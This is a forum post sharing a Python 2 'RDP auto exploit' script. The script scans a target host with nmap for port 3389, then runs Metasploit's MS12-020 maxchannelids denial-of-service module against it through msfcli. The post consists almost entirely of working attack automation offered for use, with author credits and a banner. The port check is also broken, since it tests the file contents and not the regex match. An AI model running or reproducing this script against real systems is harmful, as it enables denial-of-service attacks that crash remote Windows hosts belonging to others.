Jump to content
Fi8sVrs

Python Rdp Auto Exploit

Recommended Posts

  • Active Members

[!] Author - Muhammad Adeel aka Stoker
[!] Mail - jutthaxor@gmail.com
[!] Greetz - Team Xploiters

[!] P.S : This Exploit is Based on => auxiliary/dos/windows/rdp/ms12_020_maxchannelids <='''

#!/usr/bin/python

# jutthaxor@gmail.com

import os,sys,re,subprocess

print '''

+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+

|R|d|p| |A|u|t|o|E|x|p|l|o|i|t| |B|y| |S|t|o|k|e|r|

+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+

[!] Author - Muhammad Adeel aka Stoker

[!] Mail - jutthaxor@gmail.com

[!] Greetz - Team Xploiters

[!] P.S : This Exploit is Based on => auxiliary/dos/windows/rdp/ms12_020_maxchannelids <='''

if os.getuid() != 0:

print '\n\t\t[unSufficient Priviliges]Error:You are Not Root!\n'

sys.exit(1)

def help():

if len(sys.argv) != 2:

print """

[!]Usage - ./script.py [Target Host]

[!]Example - ./script.py 127.0.0.1\n"""

sys.exit(1)

help()

RHOST = sys.argv[1]

nmap = subprocess.Popen('nmap -p3389 %s -oN /tmp/nmap.txt' %RHOST, shell=True).wait()

nmapresul = open('/tmp/nmap.txt', 'rU')

found = nmapresul.read()

vulnerability = re.search(r'3389[/]tcp\sopen', found)

if not found:

print "\n[!] Port 3389 is Close."

sys.exit(1)

print '\n[!] Port Is Open. Let me try AutoRdp Exploit'

metasploit = subprocess.Popen('msfcli auxiliary/dos/windows/rdp/ms12_020_maxchannelids RHOST=%s RPORT=3389 E' %RHOST, shell=True).wait()

subprocess.Popen('rm -f /tmp/nmap.txt > /dev/null', shell=True).wait()

end = raw_input('Hit Enter to Exit.')

Source

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...